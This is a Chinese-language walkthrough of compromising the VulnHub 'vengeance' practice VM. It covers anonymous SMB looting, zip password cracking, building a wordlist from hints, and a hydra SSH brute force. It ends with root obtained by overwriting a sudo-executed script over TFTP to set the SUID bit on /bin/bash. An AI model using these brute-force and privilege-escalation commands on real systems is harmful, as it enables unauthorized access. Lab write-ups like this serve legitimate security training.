vulnhub靶场之【digitalworld.local系列】的vengeance靶机
前言
靶机:digitalworld.local-vengeance,IP地址为192.168.10.10
攻击:kali,IP地址为192.168.10.6
kali采用VMware虚拟机,靶机选择使用VMware打开文件,都选择桥接网络
这里官方给的有两种方式,一是直接使用virtualbox加载,另一种是通过VMware直接加载,也给出了iso镜像文件。
文章中涉及的靶机,来源于
vulnhub官网,想要下载,可自行访问官网下载,或者通过网盘下载https://pan.quark.cn/s/86cf8a398835
主机发现
使用arp-scan -l或netdiscover -r 192.168.10.1/24扫描
也可以使用nmap等工具进行

信息收集
使用nmap扫描端口
扫描tcp端口,并保存于nmap-tcp
nmap -sT 192.168.10.10 --min-rate=1000 -p- -oA nmap-tcp

扫描常见的20个udp端口,不过这里的端口明显处于open的很少
nmap -sU 192.168.10.10 --top-ports 20 -T4 -oA nmap-udp

把前面扫描出的tcp端口,进行处理,只取端口号
grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','
#这里就是包括可能开放的端口都不要,因为是靶机,可能过滤的话,也会无法进一步扫描
ports=80,180,110,113,139,143,443,445,993,995,22222

对特定的端口号进行深入探测
nmap -sV -O -sC -sT 192.168.10.10 -p $ports -oA detail


使用脚本检测有无漏洞
nmap --script=vuln 192.168.10.10 -p $ports -oA vuln


smb探测
使用nmap的脚本进行测试,不过脚本并没有启动成功
nmap --script=smb* 192.168.10.10
使用enum4linux进行枚举,发现内容


尝试使用smbclient连接,最终以匿名身份连接到sarapublic分享时,发现内容
smbclient //192.168.10.10/sarapublic$ -N

然后把所以数据下载
smb: \> prompt
smb: \> recurse
smb: \> mget *
这个似乎是工作目录,查看essay.txt,发现其中的信息,包括产品,以及两个人名qinyi、govindasamy

查看profile.txt文件,发现一个人名giovanni

尝试解压gio.zip,发现需要密码

尝试使用fcrackzip进行爆破,发现字典rockyou.txt也没获取密码
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt gio.zip
查看champagne目录,看到一个网站的目录,猜测这个可能是网站的备份文件之类的

网站探测
访问80端口的网站

结合前面nmap的扫描,应该是一个wordpress的CMS,这个界面,估计是靶机需要绑定域名
点击一个链接,发现是跳转到一个域名vengeance.goodtech.inc,这个域名就是需要进行绑定的

在windows和linux中绑定域名,需要编辑hosts文件,只是文件的位置不同
linux 在 /etc/hosts文件
windos在 C:\Windows\System32\Drivers\etc\hosts文件

绑定后即可正常访问了

使用whatweb探测网站信息
whatweb http://192.168.10.10

使用浏览器的插件wappalyzer查看网站相关使用

使用针对wordpress这个CMS的专门工具wpscan
wpscan --url http://vengeance.goodtech.inc -e u
获取到wordpress的版本信息5.6.1

枚举到三个用户qinyi、sara、qiu

尝试进行爆破密码,但是这里未找到接口,大概率是目录名称更换了,所以采用目录爆破一下
使用gobuster进行爆破,也是没有好的数据
gobuster dir -u http://192.168.10.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.bak,.txt,s,.,.html -b 403-404

仔细的去看看这个网站,发现这个网站是用户qinyi的博客,记录了她的一些事件

访问其中一个文章,发现一个需要密码的界面

唉,这个网站中还有一些其他文章,可以去自己看看,评论也有。爱情啊
但是到这里又断了
压缩包破解
之前在smb获取的信息,应该有大用才对,回去继续测试
尝试从80端口的网站使用cewl获取单词,但是,获取到的东西并不能破解。
那么既然压缩包gio.zip中,有一些其他的txt文件,那么是否这里面的单词有可能会有密码
grep -oE '\w+' blurb.txt| sort | uniq > pass.txt
grep -oE '\w+' eaurouge | sort | uniq >> pass.txt
grep -oE '\w+' eaurouge.txt| sort | uniq >> pass.txt
grep -oE '\w+' essay.txt| sort | uniq >> pass.txt
grep -oE '\w+' profile.txt| sort | uniq >> pass.txt
然后使用fcrackzip进行破解
fcrackzip -u -D -p pass.txt gio.zip
获取到密码nanotechnological

到了这里我变得很敏感了,查看文件pass_reminder.txt,发现字段

查看pptx文件,五张幻灯片,有很多文字

我现在把ppt中的文字都放在一个文件中,并通过grep等命令分割单词,然后作为字典

这里做成的字典,可以作为网站的密码破解,或者是对ssh登录进行爆破
ssh爆破
之前使用wpscan或者smb枚举时,有些用户的,把这些用户放在一个文件中
hydra 192.168.10.10 -L user.txt -P pass.txt ssh -s 22222
但是爆破后,并没有反应,突然想到解压后的一个文件名pass_reminder,密码提醒

文件内容,是密码构成
name ---->名称
corner ---->拐角,角
circuit ---->电路
再次查看ppt,毕竟图片没有内容了,这个ppt的作者名称Giovanni Berlusconi

另一种ppt,说的是corner,就是角

搜索一下这个图片的出处,因为这里说了最喜欢的弯道,但是没给出具体名称

ok,知道了,就构造密码
name --->Giovanni Berlusconi
corner --->130R
circuit --->Suzuka
编写一个bash脚本即可
for name in giovanni berlusconi Giovanni Berlusconi "Giovanni Berlusconi"; doprintf "%s_130R_Suzuka\n" "$name"
done > pass.txt

使用hydra进行爆破
hydra 192.168.10.10 -L user.txt -P pass.txt ssh -s 22222

以这个账户密码giovanni_130R_Suzuka连接ssh
ssh qinyi@192.168.10.10 -p 22222

靶机内信息收集
登录qinyi的账户后,查看当前目录下的提示

这里看到有sara、patrick两个人名,并且可能有些东西修改了,有些还没来得及
查看有哪些用户
ls -alh /home
cat /etc/passwd | grep /bin/bash

收集内核版本和系统版本
uname -a/-r
cat /etc/issue
cat /etc/*release
lsb_release

查看其他用户具有写权限的文件,发现并没有
find / -type f -perm /o+w 2>/dev/null | grep -v /sys | grep -v /proc
获取以root执行的进程
ps aux | grep root

查看连接状态等信息,没什么值得关注
ip add
ss -antlp
netstat -antlp
查看定时任务
crontab -l
cat /etc/crontab
atq

上传pspy64,然后进行测试,看有无隐藏执行的进程
在kali中执行scp上传到靶机
scp -P 22222 ./pspy64 qinyi@192.168.10.10:/tmp
不过执行后,还是没有东西
再通过kali的scp上传linpeas.sh
scp -P 22222 ./linpeas.sh qinyi@192.168.10.10:/tmp
东西太多,大致都差不多
使用find寻找具有SUID权限的文件
find / -perm -4000 -print 2>/dev/null

使用sudo -l查看

虽然nginx可以重启,但是前面寻找可以编辑的文件时,nginx的配置文件并不能修改,那么就无作用
另一个是在/home/sara目录,也就是sara用户的家目录下
查看文件夹,没有权限去查看或执行

提权
我这里测试很久,并没有找到方式,内核也测试过了
网上看了一下wp,啧,我真的蠢死
这里就是端口的问题了,但是我只看了tcp端口,udp端口没看,导致错过关键信息
netstat -antulp
ss -antulp

查看的网络连接状态,其实tcp端口基本上都是nmap扫描出的
对于udp即使扫描出了,我也没怎么关注,所以这是错误的
对扫描的结果进行处理,保留端口号
ss -antulp | grep udp | awk -F ':' '{print $2}' | awk -F ' ' '{print $1}'| uniq | paste -sd ','

然后在kali中,再次对这些端口进行扫描
nmap -sV -sU 192.168.10.10 -p53,68,69,137,138

这几个里面,可能只有tftp是有用的,因为这个就是和ftp是一样的,直接连接测试,是否被过滤或者说被拦截
tftp 192.168.10.10 69
可以连接成功,但是并不知道路径,连接后,也不能使用pwd
并且put上传文件后,在靶机使用find也无法找到上传的文件的去向
使用lsof测试tftp
lsof | tftp

这里知道,是通过apt安装的tftp,那么就可以搜索apt安装tftp的默认配置文件等情况

查看这个配置文件,确定靶机的tftp的根目录是什么

哈哈哈哈哈哈哈哈哈,与sudo的一个文件一样,并且用户名是root。那么直接尝试进行get,下载后查看这个文件

直接在文件后面添加代码,以最简单的
chmod +s /bin/bash

再次把这个文件上传,不过名称一定要一样,不要修改,直接put

可以看到/bin/bash已经有了SUID权限
直接提权
/bin/bash -p

总结
这个靶机其实主要就是密码的猜测
该靶机值得反思以下几点:
- 对于网站,并非一定是突破口
smb匿名登录获取分享中的数据,主要就是围绕一个压缩包,其中的txt文件都是作为其密码的根据,这个我没想到,网站我想到了,但是这个是真的没想到,所以思维要广- 对于压缩包的破解后,获取到的文件,一定有用的,所以不要放弃,这里是给出了提示,所以排列组合少了很多,若没有提示呢,啧
- 靶机内的信息收集一定要全面,我这里忽略了
udp端口在靶机的监听状态,导致漏掉了tftp - 提权,这里还是
sudo,主要就是发现tftp,以及tftp的根目录,不然这个靶机也是无法提权的
其实,到最后,我好奇的还是网站的哪个需要密码的东西,到底是什么,我后面会去观看的
最终还是通过数据库找到了,密码没找到
原来这是感情经历,怪不得密码封印

